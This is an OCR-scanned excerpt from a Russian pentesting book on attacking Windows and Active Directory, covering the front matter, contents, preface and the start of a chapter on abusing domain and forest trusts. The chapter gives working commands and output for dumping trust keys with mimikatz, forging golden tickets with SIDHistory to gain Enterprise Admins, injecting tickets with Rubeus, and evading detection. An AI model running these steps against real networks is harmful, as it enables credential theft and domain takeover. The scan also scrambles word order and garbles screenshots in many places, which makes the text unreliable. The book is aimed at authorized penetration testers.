Text
                    
Михаил Жмайло глазами Санкт-Петербург « БХВ-Петербург» 2025
УДК ББК 004.43 32.973-018.1 Ж77 ЖмайлоМ.А. Ж77 Windows глазами хакера. - СПб.: БХВ-Петербург, 2025. - 464 с.: ил. ISBN 978-5-9775-2116-1 Active Directory, подробно описаны доверенные отношения доменов и лесов, особенности работы Рассмотрена внутренняя архитектура Read-only Domain Controllers, и Windows уязвимости групповых политик и принципы управления приви­ легиями. Рассказывается о работе с Kerberos, инжекте и дампе билетов, угоне поль­ WinAPI, СОМ и Named Pipes в пентесте, а зовательских сессий, использовании также об обращении к нативному коду из С#. Описаны методы обхода средств за­ щиты информации, включая анхукинг ntdll.dll, предотвращение подгрузки DLL, лазейки для исполнения стороннего кода, применение аппаратных точек останова, обход AMSI и написание раннеров для шелл-кода на ские рекомендации по обфускации вызовов WinAPI .NET. Приводятся практиче­ и защите корпоративных сетей от атак. Для пентестеров, реверс-инженеров, специалистов по информационной безопасности и защите данных ББК УДК 004.43 32.973-018.1 Группа подготовки издания: Руководитель проекта Павел Шалин Зав. редакцией Людмила Гауль Редактор Валентин Хол.wогоров Компьютерная верстка Ольги Сергиенко Дизайн обложки Зои Канторович Подписано в печать 05.11.25. Формат 70х100 1 / 16 . Печать офсетная. Усл. печ. л. 37,41. Тираж 1300 экз. Заказ № 16027 "БХВ-Петербурr", 191036, Санкт-Пе.тербург, Гончарная ул., 20. Отпечатано с готового оригинал-макета ООО "Принт-М", ISBN 978-5-9775-2116-1 142300, М.О., г. Чехов, ул. Полиграфистов, д. © Жмайло М. А. 1 2025 ©Оформление.ООО "БХВ-Петербург", ООО "БХВ", 2025
Оглавление Предисловие ..................................................................................................................... 9 .......................................................................................................................................... 9 От редакции .................................................................................................................................... 10 От автора ЧАСТЬ Глава 1. ПЕНТЕСТ ACTIVE DIRECTORY ........................................................... 11 1. Как работают атаки на доверенные отношения доменов и лесов AD ..... 13 Разведка .......................................................................................................................................... 14 Леса ......................................................................................................................................... 14 Домены ................................................................................................................................... 15 Trust Keys ....................................................................................................................................... 17 Домены ................................................................................................................................... 17 Леса ......................................................................................................................................... 19 Выдаем себя за контроллер домена ..................................................................................... 20 Неограниченное делегирование ........................................................................................... 20 Между доменами .......................................................................................................... 21 Между лесами ····························~··················································································21 ............................................................................................... 22 РАМ Trust ....................................................................................................................................... 23 Обнаружение .......................................................................................................................... 23 Проверка, не в бастионном лесе ли мы ................................................................................ 24 Проверяем, не управляется ли текущий лес каким-то другим по РАМ Trust ................... 25 Дополнительные проверки и новые угрозы ........................................................................ 26 Эксплуатация ................................................................................................................................. 27 Заключение ..................................................................................................................................... 28 Ограниченное делегирование Глава 2. Эксплуатируем небезопасные групповые политики ............................. 29 ....................................................................................................................................... 29 Обнаружение .................................................................................................................................. 3 О Эксплуатация ................................................................................................................................. 3 5 mmc ......................................................................................................................................... 35 Файл .ini .................................................................................................................................. 36 Создание GPO ........................................................................................................................ 37 Перемещение через GPO ....................................................................................................... 38 Заключение ..................................................................................................................................... 39 Структура
Оглавление 4 Глава 3. Пентестим Read-only Domain Controllers ................................................. 40 Теория ...................................................................................................................... ~ ..................... .40 ................................................................................................ .40 ............................................................................................................................... .42 managedBy ..................................................................................................................... 42 msDS-RevealOnDemandGroup, msDS-NeverRevealGroup ......................................... .42 msDS-AuthenticatedToAccountList ............................................................................... 43 msDS-Revealed* ............................................................................................................. 43 Аутентификация пользователей .......................................................................................... .43 Поиск RODC .................................................................................................................................. 44 Получение кешированных паролей с RODC .............................................................................. .46 DSRМ .............................................................................................................................................. 48 1 Особенности работы Kerberos с RODC ....................................................................................... 48 Кеу List ........................................................................................................................................... 50 Контроль над объектом RODC ..................................................................................................... 52 Заключение ..................................................................................................................................... 53 Определения и особенности Атрибуты ЧАСТЬ Глава 11. 4. СИСТЕМНОЕ ПРОГРАММИРОВАНИЕ ДЛЯ ХАКЕРОВ Изучаем возможности WinAPI для ............. 55 пентестера ....................................... 57 SID и токены .................................................................................................................................. 57 Токен и процесс ............................................................................................................................. 58 Приступаем к работе ..................................................................................................................... 59 Получаем токен ...................................................................................................................... 59 Проверка наличия привилегии в токене .............................................................................. 60 Изменение информации токе на ............................................................................................ 61 Выполнение кода с использованием токена ................................................................................ 63 Создание процесса ................................................................................................................. 63 Применение к потоку ............................................................................................................ 65 Заимствование прав подключенного пользователя .................................................................... 65 Без установления соединения ............................................................................................... 65 Именованные каналы ............................................................................................................ 66 Сокеты или друrой механизм взаимодействия ........................................................................... 67 Начало работы ........................................................................................................................ 67 Роль клиента ........................................................................................................................... 69 Роль сервера ........................................................................................................................... 73 Использование полного контекста ....................................................................................... 75 Имперсонация ........................................................................................................................ 75 RevertSecurityContext() ................................................................................................. 76 Получение токена из контекста ................................................................................... 76 Заключение ..................................................................................................................................... 76 Глава 5. Получаем билеты TGT методом GIUDA .................................................. 77 Logon Session .................................................................................................................................. 77 Как LSA запрашивает билеты Kerberos ....................................................................................... 84 Крадем билет .................................................................................................................................. 85 ТGТ-это TGS ............................................................................................................................. 91 Заключение ..................................................................................................................................... 92
5 Оглавление Глава 6. Управляем привилегиями в Windows ...................................................... 93 Добавляем привилегии аккаунту .................................................................................................. 93 Запускаем процесс с привилегией .......................................................... :................................... 102 .............................................................................................. 105 .................................................................................................... 107 Смотрим привилегии объекта ..........•........................................................................................... 110 Заключение ................................................................................................................................... 111 У дал я ем привилегию из аккаунта Ищем объекты с привилегией Глава Windows раскрывает пользователя .................................................................................................. 112 7. пароль Поставщик небезопасности. Как Компоненты безопасности .......................................................................................................... 112 Security Package .................................................................................................................... 113 SSP/ АР (или же просто АР) ................................................................................................ 113 Security Providers .................................................................................................................. 114 Credential Providers .............................................................................................................. 115 Password Filters ..... ,............................................................................................................... 115 Как происходит вход пользователя в систему ................................................................... 115 Инициализация LSA ............................................................................................................ 119 Эксплуатация ............................................................................................................................... 123 Как дебажить? ...................................................................................................................... 123 Перехват пароля с помощью внедрения Security Package ................................................ 125 Требования .................................................................................................................. 125 Загрузка в систему ...................................................................................................... 125 Проверка ...................................................................................................................... 126 Перехват пароля .......................................................................................................... 126 Перехват пароля с помощью внедрения Password Filter .................................................. 130 Требования .................................................................................................................. 130 Загрузка в систему ...................................................................................................... 130 Перехват пароля .......................................................................................................... 130 Запрещаем пользователям менять пароль ................................................................ 132 Перехват пароля с помощью диспетчера учетных данных .............................................. 13 3 Теория .......................................................................................................................... 133 Добавление в систему ................................................................................................. 133 Перехват пароля .......................................................................................................... 135 Заключение ................................................................................................................................... 138 Глава 8. Долой Mimikatz! Инжектим тикеты своими руками ........................... 139 Получение тикета ......................................................................................................................... 139 Подключение к LSA .................................................................................................................... 141 Обнаружение АР .......................................................................................................................... 143 ........................................................................................................................ 144 Проверка ....................................................................................................................................... 146 Заключение ................................................................................................................................... 146 Внедрение билета Глава 9. Как дам пить тикеты Kerberos на С++ .................................................... 149 .................................................................................................................................. 149 Начало работы ............................................................................................................................. 150 Особенности дампа ...................................................................................................................... 155 Подключение к LSA .................................................................................................................... 156 Получение 1D ............................................................................................................................... 161 Kerberos АР
б Оглавление Перечисляем все LUID ................................................................................................................ 162 ............................................................................................................................. 166 Дамп тикета .................................................................................................................................. 171 Заключение ............................................................ ;...................................................................... 179 Изучение кеша Глава 10. Как злоупотреблять хендлами в Windows ........................................... 180 Интересные хендлы ..................................................................................................................... 180 Изучение хендлов процесса ........................................................................................................ 181 Handle Duplicating ........................................................................................................................ 181 Leaked Handle ............................................................................................................................... 192 Handle Hijacking ........................................................................................................................... 193 Заключение ................................................................................................................................... 204 Глава 11. Достаем учетные данные Windows, не трогая LSASS ........................ 205 Реквизиты, контекст и блобы ..................................................................................................... 206 Известные атаки ........................................................................................................................... 207 Внутренний монолог ................................................................................. •.................................. 209 Заключение ................................................................................................................................... 217 Глава 12. Ищем способы обращения к нативному коду из С# ........................... 218 Platfonn Invoke ............................................................................................................................. 218 Dynamic Invoke ............................................................................................................................. 22 l Parasite Invoke .............................................................................................................................. 227 Dynamic Plnvoke .......................................................................................................................... 230 Hash Invoke ................................................................................................................................... 234 Заключение ................................................................................................................................... 236 Глава 13. Как работает угон пользовательских сессий в Windows .............. , .... 237 Поиск сессий пользователей ....................................................................................................... 237 WinAPI .................................................................................................................................. 238 Реестр .................................................................................................................................... 241 Через SCCM ......................................................................................................................... 243 Через RDР-сессии ................................................................................................................ 244 Логи ....................................................................................................................................... 244 Процессы .............................................................................................................................. 248 Кража сессий ................................................................................................................................. 248 Воруем TGS .......................................................................................................................... 248 Манипуляции с токенами .................................................................................................... 250 RemotePotato0 ....................................................................................................................... 251 Запрос чужих сертификатов ................................................................................................ 251 SeMishaPrivilege ................................................................................................................... 252 Leaked Wallpaper .................................................................................................................. 253 Заключение ................................................................................................................................... 255 Глава 14. Что такое Используем Named Pipes при атаке на Windows ................................. 256 Pipe .............................................................................................................................. 256 Пример клиента и сервера .......................................................................................................... 258 Изучение доступных пайпов ....................................................................................................... 259 Process Hacker ...................................................................................................................... 259 С++ ........................................................................................................................................ 260 PowerShell ............•.............................................................................................................. :.. 262
7 Оглавление IO Ninja ................................................................................................................................. 263 PipeViewer ............................................................................................................................ 263 Имперсонация клиентов .............................................................................................................. 263 Чейн с Selmpersoпate ................................................................................................................... 268 Скрытое чтение данных .............................................................................................................. 271 Гонка пайпов ................................................................................................................................ 272 Заключение ................................................................................................................................... 278 Глава 15. Исследуем обход UAC на примере Elevation Moniker ........................ 279 Моникеры ..................................................................................................................................... 279 .................................................................................................................... 281 Moniker ................................................................................................... 281 Использование Elevation Moniker ............................................................................................... 286 Примеры СОМ-объектов ............................................................................................................ 287 ICMLuaUtil ........................................................................................................................... 287 IFileOperation ........................................................................................................................ 289 Заключение ................................................................................................................................... 290 Подвиды моникеров Регистрация Elevatioп Глава 16. Как работает кража сессии через механизм СОМ .............................. 291 Logon Sessions .............................................................................................................................. 291 Session Moniker ............................................................................................................................ 295 Запуск процесса в чужой сессии ................................................................................................ 301 Утечка хеша пароля при смене обоев ........................................................................................ 302 Заключение ................................................................................................................................... 304 ЧАСТЬ Глава 111. 17. СПОСОБЫ ОБХОДА СРЕДСТВ ЗАЩИТЫ IПIФОРМАЦИИ ..... 305 Познаем анхукинг ntdll.dll ....................................................................... 307 Снятие хука через чтение библиотеки с диска .......................................................................... 308 Снятие хука через КnownDlls ..................................................................................................... 321 Снятие хука через приостановленный процесс ......................................................................... 329 Снятие хука через подгрузку ntdll.dll с удаленного веб-сервера ............................................. 335 Заключение ................................................................................................................................... 345 Глава 18. Изучаем методы предотвращения подгрузки DLL ............................ 346 UpdateProcThreadAttribute ........................................................................................................... 346 SetProcessMitigationPolicy ........................................................................................................... 353 Включение ACG .......................................................................................................................... 355 Запуск процесса с DEBUG .......................................................................................................... 359 Хук на NtCreateSection ................................................................................................................ 362 Простой вариант .................................................................................................... ,............. 362 Модифицированный вариант .............................................................................................. 363 WMI .............................................................................................................................................. 364 DLL Notification Callbacks ........................................................................................................... 367 ETW (Kemel Provider) ................................................................................................................. 370 Заключение ................................................................................................................................... 373 Глава 19. Ищем в Windows лазейки для исполнения стороннего кода ............ 374 DLL Redirection ............................................. :.............................................................................. 375 Для обычных исполняемых файлов ................................................................................... 375 Сборки .NET ......................................................................................................................... 381
Оглавление в Image Path Name Spoofmg ........................................................................................................... 383 Теория ................................................................................................................................... 383 Реализация ............................................................................................................................ 384 WinSxS .......................................................................................................................................... 387 svchost.exe ..................................................................................................................................... 391 LSASS Driver ................................................................................................................................ 391 Заключение ................................................................................................................................... 392 Глава 20. Используем хардверные брейк-пойнты в пентестерских uелях ...... 393 Обработка исключений ............................................................................................................... 394 Установка hardware breakpoint ................................................................................................... .402 Обход AMSI ................................................................................................................................. 406 Извлечение номеров сисколов ................................................................................................... .408 Анхукинг ..................................................................................................................................... .412 Пишем кастомный GetThreadContext() ..................................................................................... .413 Ставим хуки ................................................................................................................................. 416 Заключение .................................................................................................................................. .416 Глава 21. Изучаем новый способ обхода AMSI в Windows ................................ .417 Становимся дебаггером ............................................................................................................... 417 Избегаем использования функции DebugActiveProcess .......................................................... .423 Заключение .................................................................................................................................. .424 Глава 22. Замена для на чистом WinAPI. Пишем раннер для шелл-кода .NET ............................................................................................................ 425 Синхронизация через Sleep ......................................................................................................... 427 CreateThread() ............................................................................................................ .429 Копируем память ручками .......................................................................................................... 433 Выделяем исполняемую память без WinAPI ............................................................................ .436 Делегаты ............................................................................................................................... 436 EmitA\loc() ........................................................................................................................... .437 Заключение ................................................................................................................................... 440 Поток без Глава 23. Обфусцируем вызовы WinAPI новыми способами ............................ 441 Проксирование вызовов .............................................................................................................. 442 Теория ................................................................................................................................... 442 ........................................................................................... 443 Таблица экспортов/импортов ................................................................................... .443 Бинарный анализ ......................................................................................................... 443 Пример с DphCommitMemoryFromPageHeap ................................................................... .450 Через RPC ............................................................................................................................. 453 Используем альтернативные функции ...................................................................................... .455 Теория ................................................................................................................................... 455 Замена CRT ......................................................................................................................... .455 Через ссылки на структуры Windows ................................................................................ .456 Изучаем СОМ ....................................................................................................................... 460 Замена ReadProcessMemory() ............................................................................................. .460 Замена WriteProcessMemory() ............................................................................................. 46 \ Где искать альтернативы ..................................................................................................... 461 Заключение .................................................................................................................................. .461 Обнаружение прокси-функций Предметный указатель .............................................................................................. 462
Предисловие От автора Мой авторский путь начался относительно недавно: летом 2022 года. За немногим более трех лет количество публикаций перевалило за полсотни, портфолио попол­ нилось несколькими выступлениями на российских конференциях, посвященных информационной безопасности, а некогда мини-бложик, созданный вместе с моим другом, Павлом Шлюндиным, разросся до большого комьюнити, одно существова­ ние которого требует регистрации в Роскомнадзоре. Идея написания моей первой статьи пришла в голову, как и любые другие судьбо­ носные решения, абсолютно случайно. Ранее я, конечно, публиковал небольшие заметки, мысли и рассуждения в Интернете. Впрочем, это были выжимки текстов из личной базы знаний, нежели полноценный готовый к употреблению контент. Однако звезды в ту теплую июльскую ночь сошлись иначе - я озвучил свои мысли по поводу будущего материала вышеупомянутому Павлу, на что получил недву­ смысленный ответ: «Может, на "Хакер"?». На следующий день статья «Дальше в лес. Как работают атаки на доверенные от­ ношения доменов и лесов АО» лежала у главреда на столе. Почему идею я считаю судьбоносной? Мне понравилось. Мне понравилось, быть может, даже не создавать и не «ресерчить» (впрочем, это тоже приятно), а получать обратную связь. Насколько же это приятно Telegram - просыпаться с утра, открывать и видеть в диалогах, среди беспросветного политического новостного спама, сообщение: «Миша, привет! Спасибо большое за статью, она мне помогла взять DA». И некогда серый, хмурый, загруженный рутиной день становился чу­ точку прекраснее. Буду с откровенным: имелась и финансовая мотивация. Получение после публика­ ции небольшой денежки в начале следующего месяца грело мою душу. На следующий год я в первый и последний раз съездил на честве участника - в 2024 и 2025 Positive Hack Days в ка­ году на моем бейджике красовалось величест­ венное «Спикер». Хотя, как оказалось в Лужниках, у обычного участника конфе­ ренции иногда было даже больше доступа к различным локациям.
Предисловие 10 Сейчас я вовсю работаю в перспективной компании, готовлю выступления на гря­ дущие конференции, пишу инструменты и иногда наслаждаюсь таким редким и столь желанным сном. Мне 20 лет, я счастлив, полон жизненных сил и энергии, будни еще не успели потушить тот некогда случайно загоревшийся фитиль энту­ зиазма, а впереди долгая, увлекательная и интересная жизнь. Эта книга - собранный воедино результат множества бессонных ночей, хитрых дум и сладкого кусочка творчества. Спасибо, что приобрели мою книгу. Пишите мне по вопросам: https://t.me/Мichaelzhm. От редакции Книга состоит из трех частей: первая, «Пентест Active Directory», посвящена ис­ Active Directory. Во второй следованию безопасности сетей, построенных на основе части собрана информация о хитростях и приемах системного программирования для хакеров и пентестеров. Наконец, в третьей части описываются способы обхода средств защиты информации, которые могут применять специалисты по тестирова­ нию на проникновение в ходе своей работы. ВНИМАНИЕ/ Составляющие книгу материалы имеют ознакомительный характер и предназначены для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с примене­ нием изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону. В этой книге используются следующие типографские обозначения: □ Курсивный шрифт. Курсивом выделены новые или важные термины, на которые нужно обратить внимание. □ Полужирный шрифт. Им выделяются элементы интерфейса, интернет-адреса (URL) и адреса элек­ тронной почты. □ Моноширинный шрифт. Им выделяются листинги программного кода, а также встречающиеся внутри абзацев текста ссьшки на элементы программ - такие как имена переменных или функций, базы данных, типы данных, переменные среды, операторы и клю­ чевые слова, а также имена файлов, расширения имен файлов и пути. Поскольку некоторые рисунки (преимущественно снимки экрана) содержат очень мелкие надписи, которые трудно разобрать на бумаге, мы собрали такие иллюстра­ ции в отдельный архив. Его можно скачать со страницы книги на сайте издательст­ ва или по ссылке: https://zip.bhv.ru/9785977521161.zip.
ЧАСТЬ ТТентест 1 Active Directory Глава 1. Как работают атаки на доверенные отношения доменов и лесов АО Глава 2. Эксплуатируем небезопасные групповые политики Глава 3. Пентестим Read-only Domain Controllers

ГЛАВА 1 Как работают атаки на доверенные отношения доменов и лесов Active Directory AD позволяет строить сети со сложной архитектурой, включающей несколько доменов и лесов, иерархию вза­ которые поддерживают определенную имного доверия. Подобные системы неидеальны с точки зрения безопасности, и, хорошо разбираясь в их устройстве, взломщик может получить к ним несанк­ ционированный доступ. В этой главе мы разберем несколько видов атак на отно­ шения доменов и лесов в Active Directory. Множество компаний использует среду Active Directory для администрирования сети своей организации. Компании растут, домен расширяется, и рано или поздно наступает момент, когда требуется создать в домене другие домены, чтобы разгра­ ничить пользователей, обязанности, да и, в конце концов, позаботиться о безопас­ ности. Допустим, у нас есть компания MISHA Corporation. У нее может быть домен misha.local для администраторов, bank.misha.local для финансового отдела, dev.misha. local для разработчиков и т. д. Доверие между двумя доменами может быть двусторонним bank.misha.local dev.misha.local - могут получать доступ к ресурсам пользователи домена - dev.misha.local, к bank.misha.local. А может быть односторонним - а пользователи в таком случае лишь пользователи одного определенного домена имеют доступ к ресурсам друго­ го. Допустим, bank.misha.local, (рис. учетные а вот записи dev.misha.local могут ходить bank.misha.local в dev.misha.local домена пользователи в домен не могут 1.1. ). Наша прекрасная компания продолжает расширяться и покупает другую компанию, назовем ее MYCRASOFT Corporation. У этой фирмы также есть домен - mycra.local, в нем имеются пользователи, сервисы, группы. Все настроено и отлично работает. Само собой, теперь пользователям домена misha хотелось бы получить доступ к этому домену. Здесь мы плавно переходим к понятию леса. Лес - самая крупная структура в AD. Внутри леса находятся деревья - некий на­ бор доменов (misha.local, bank.misha.local, dev.misha.local). Между лесами также мож­ но настроить как одностороннее, так и двустороннее доверие.
Часть 14 /. Пентест Active Directory Направnение доверия l ------------------------- -J Рис. 1.1. Доверие и доступ в сети с несколькими доменами Мы рассмотрим безопасность этих доверенных отношений. Опишем набор атак от простых к сложным - и разберем такие темы, как SID Filtering, РАМ Trust, TGT Delegation. Когда я пишу «между лесами», я имею в виду атаку, которая выполняется из одно­ го леса на другой, например misha.local <-> priv.local. Если я пишу «между домена­ ми», то я имею в виду атаку между деревьями ( dev .misha. local <-> misha. local). Чтобы Kerberos, делегиро­ понимать, о чем тут идет речь, читателю нужно разбираться в вании, а также иметь базовые знания в Active Directory, т. к. глава не предполагает объяснение этих технологий, а лишь рассматривает их возможные недостатки. Разведка Сначала предлагаю определить масштаб проблемы. Иногда мы будем использовать PowerView и Acti ve Directory Module для перечисления объектов. Леса Выявить все отношения между лесами поможет встроенный инструмент (рис. nltest 1.2): nltest /domain trusts Из вывода мы видим, что в исследуемой сети целых три леса. Между ними всеми установлено двустороннее доверие, а production. local имеет атрибут еnаЫе _ tgt, о ко­ тором мы поговорим немного позже.
1. Как работают Глава С : атаки на доверенные отношения доменов и лесов АО \Users \Ад,-1ини с тparo p >nl tes t /domain_ trusts доверии доr-1 ена : Список 0: prodllction prodllction.local (NT 5) (Direct Ol!tbol!nd) (Oirect Inbound) ( Attr: .,foresttrans 1: f·IEGABANI( megabank.loca l (NT 5) (Direct Outbound) (Direct Inbound) ( Attr : foresttrans ) 2: priv priv .local (!Н 5) (Forest т,·ее Root) (Prin1ary Domain) (Native) , 15 выполнена Ко,-ында enaЫe _ tgt успешно. Рис. 1.2. Nltest Соберем чуть больше информации с помощью следующих инструментов (рис . • # ) 1.3): Получ и ть и нформацию о лесе # PowerView Get-Forest Get- Forest -Forest priv.loca l Module Get-AOForest Get- AOForest - Identity priv.local # # АО Получить все доме ны в лесе # PowerVi ew # Powe rView v З Get-ForestOomain Get- Fo restOomain -For est pri v.local # PowerView v2 Get - NetFo restOomain - Verbose Get-Net ForestOomai n -For est priv .local # Modul e (Get -AOFores t ) . Oomains АО S С:\Usеrs\Администратор> pplicationPartitions CrossForestReferences DomainNamingMaster omains orestМode GlobalCatalogs ame artitionsContainer ootDomain chemaMaster ites PNSuffixes PNSuffixes get - adforest {DC=ForestDnsZones,DC=priv,DC=local, DC=DomainDnsZones,DC=priv,DC=local} {} dc02.priv.local {priv.local} l·lindows2016Forest {dc02.priv.local} priv.local CN=Partitions,CN=Configuration,DC=priv,DC=local priv.local dc02.priv.local {Default-first-Site-Name} {} {} Рис. 1.3. Сбор дополнительной информации Домены Конечно же , мы можем использовать nltest с приведенным выше синтаксисом , что­ бы уз нать отношения и внутри леса, но рассмотрим вариант с Module: PowerView и АО
16 Часть /. Пентест # PowerView #vЗ Get-DomainTrust Get-DomainTrust -Domain priv.local Get-DomainTrust -SearchВase GC://priv.local # v2 Get-NetDomainTrust -Domain priv.local # (external) доверия в текущем лесе Get-NetDomainTrust 1 ?{$ .TrustType -eq 'External') Найти все внешние # AD Module Get-ADTrust Get-ADTrust -Identity priv.local PS С: \Us еrs \Администратор> Командлет Укажите Get-AOTrust значения для Get-ADTrust в конвейере команд в позиции сле~ик 1 параметров: Filter: * Direction DisallawTransi vi t y DistinguishedName ForestTransitive Intraforest IsTreeParent IsTreeRoot Name ObjectClass ObjectGUID BiDirectional False CN=production. local ,CN=System, OC=pri v ,DC=local True False False false production. local tгustedOomain 5696202 l -4f30· 488e- 929е- 97d9e803564e Selecti veAuthenticat ion SIOF il teringforestAware false SIDF i 1t егi ngQuarant ined false False Source DC=pгi V, DC=local Target production. local TGТDelegation Тгuе TrustAttributes 2056 TгustedPolic y TrustingPolicy TгustT ype Uplevel UplevelOnly UsesAESKeys UsesRC4Encгypt ion False False False Direction DisallowTransi vi ty BiDirectional False DistinguishedName ПJ=megabank. ForestTransiti ve IntraForest IsTreeParent IsT reeRoot True False False False Name Obj ectClass Obj ectGtJID megabank. local local, O·J=System, DC=pri v ,DC=local tгustedOomain TGТDelegation 3753е5сс- a9d7-492e- Ud2-986a9d40a699 False False False DC=pri v, DC=local megabank. local False T rustAttгibutes 8 Selecti veAuthentication SIDF i 1teгi ngFoгe stAi,aгe SIDF i 1teri ngQuaгant ined Sou rce Target TгustedPolic y Tгu sting Poli cy TгustType Uplevel UplevelOnly UsesAESKeys False UsesRC4Encгyption Рис. 1.4. False False Связи и отношения внутри леса в исследуемой сети Active Directory
Глава 1. Как работают атаки на доверенные отношения доменов и лесов АО 17 Полученный нами вывод показывает связи и отношения внутри леса в исследуемой сети (рис. 1.4 ). Trust Keys Домены Обеспечивает безопасность специальный ключ - ключ доверия, который автома­ тически генерируется при создании отношений. При установлении доверия в каж­ дом домене создается связанный пользовательский объект для хранения ключа доверия. Имя пользователя - это NetBIOS-имя другого домена, которое заканчи­ вается символом $ (аналогично имени учетной записи компьютера). Например, в случае доверия между доменами misha.local и mycra.local домен misha будет хранить ключ доверия в пользователе mycra$, а домен mycra будет хранить его в пользователе misha$. Мы можем извлечь этот ключ, сдампив ntds.dit, например с помощью mimikatz (мы должны находиться в высокопривилегированном контексте, рис. 1.5): privilege: :debug lsadump: :trust /patch mimikatz # ls.эdllmp : :tru st /patch Current domain: PRIV.LOCAL (priv / 5-1-5-21-4167132616-2012140818-2162895226) omain: PROOUCТION. LOCAL (production / 5-1-5-21-1342282399-2354448020-3585081210) ( In ] PRIV. LOCAL - > PRODUCТION. LOCAL • 08.08.202l 21:52:17 CLEAR - 7Ь 54 95 95 42 04 31 26 96 92 13 сЬ f9 14 Ье d7 0d 87 67 99 aes 2 56 _ hmac 7 5Ы 5d f 06bd2 f f d 21а6268а90е22 5 249d 36а0684 7 202 7d 2 363 29 f eda 2 56 3с f 64 a58147419001764da846f27a2e844cб1 aes128 hmac с4 02 0Ь 52 06 26 63 52 с4 02 0Ь 52 06 26 63 52 Ь8 47 bd 87 3d 99 40 4а Out ] HEGABANK. LOCAL - > PRIV.LOCAL 8Ь Ь6 dc 87 f0 fd f9 f2 еа са le ее еб 42 fб 85 71 32 с6 bf ьв 47 bd 87 3d 99 40 CLEAR 09.ОО_.2022 10:26:00 4а c0122f988a8f75ff ее 2еб301939Ь3Ьаа rc4_hm'ac _nt Out ] PROOUCТION. LOCAL 08.08.2022 21:52:17 аеs25б hnыc "' aes128=hmac " rc4 hmac nt - > PRIV. lOCAl CLEAR - 7Ь 54 95 95 42 04 31 26 96 92 13 сЬ f9 14 Ье d7 0d 87 67 99 ае f ddaf 64c 82 а 7 Sc с с 86f 9с 00d 542ef9827 Зd690ЫЬ51890d9 701b36ad06 7 5ef 20ес84Ьс91548с f 4b6bd 3с 7813b6c9af c0122f988a8f75ffec2e6301939b3baa Domain: f\EGABArJK.LOCAL (HEGABдNK / 5-1-5-21-4195283В16-889670432-4222737854) [ In ] PRIV. LOCAL - > IIEGABArJK. LOCAL 09.08.2022 10:26:00 CLEAR - ВЬ Ь6 dc 87 f0 fd f9 f2 еа са le ее е6 42 f6 85 71 32 с6 bf aes256_hmac el fe619514 7е 7b940ad1577f2219b9962 3 7ad8603a0бb8772632a0118f Зе1Ь40 ЫЗ1ее1 f6cea13bf0Saf4275335f8eb8 aes128_hmac rc4 _ hmac_nt " е5051441 fбЫb81bc9deSf lefЗeda26d aes2Sб_hmac 422a0630991cб4874bdd635c3Зfe3a92933ef8dd3f0dldlad77b7070b05B9765 aes128 hmc1c rc4_hmdc_nt 065 356a24de 74 5Ыа9 28d 7сааае 7804Ь е5051441 f 6Ыb81bc9de5f1ef Зeda26d Рис. 1.5. Извлечение ключа Также ключ можно извлечь из хранилища lsa (рис. 1.6): lsadump:: lsa /patch Между доменами по умолчанию всегда применяется шифрование лесами - RC4. AES, а между NTLM, если генери­ соответственно, ключ AES, В связи с этим мы должны использовать хеш руем билет для дальнейшего продвижения по лесам. И, если перемещаемся между доменами.
18 Часть /. :RID 00000459 (1113} !user production$ LH ~TLH c0122f988a8f75ffec2e6301939b3baa Пентест Active Directory ( 1RID 0000045а 1User HEGABANK$ (1114} <LN fNТLH f Рис. e5051441f6Ыb81bc9de5f1ef3eda26d 1.6. Извлечение ключа из хранилища lsa Резонный вопрос: зачем так ухищряться, если при использовании NТLM просто произойдет даунгрейд до RC4? Ответ прост: генерировать билет подобным образом следует для большей скрытности от систем защиты. Современные СЗИ умеют детектировать понижение шифрования «Кербероса» до зуйте AES, RC4, в связи с этим исполь­ если желаете оставаться невидимкой. Генерировать билет для доступа к ресурсам другого домена или леса можно вот так: kerberos: :golden /dоmаin:<текущий домен> /sid:<SID_текущего_домена> /sids:<SID_enterprise_admins корневого или атакуемого домена> /rc4:<domain_trust_key> /user:<нa чье имя билет> /service:<нa какой сервис> /target:<FQDN целевого домена> /ticket:ticket.kirbi kerberos: :golden /domain:priv.local /sid:S-l-5-21-210670787-2521448726-163245708 / sids:S-l-5-21-2781415573-3701854478-2406986946-519 /rc4:e505144lf6Ыb8lbc9de55flef3eda26d /user:Administrator /service:krbtgt /target:megabank.local /ticket:ticket.kirbi Зачем нам нужна опция /sids? Это называется атакой SIDHistory. Если очень корот 0 ко, то данный атрибут служит для сценариев миграции. Мы записываем в билет, что пользователь, указанный флагом /user, принадлежит группе с sш, указанной с помощью /sids. В ней лучше всего указывать SID группы Enterprise Admins, полу­ ченный с корневого либо атакуемого домена (домен dev.misha.local, корневой для нero-misha.local). Сделать это можно вот так: dsquery * "CN=Enterprise Admins,CN=Users,DC=megabank,DC=local" -attr objectsid # АО Module Get-ADGroupMemЬer -Identity 'Enterprise Admins' -Server megabank.local # PowerView Get-DomainGroup -Identity 'Enterprise Admins' -Domain megabank.local I select ObjectSid Наконец, используя полученный тикет, можно запрашивать TGS го домена: .\RuЬeus.exe asktgs /ticket:ticket.kirbi /service:CIFS/dc.megabank.local /dc:dc.megabank.local /ptt на сервисы друго­
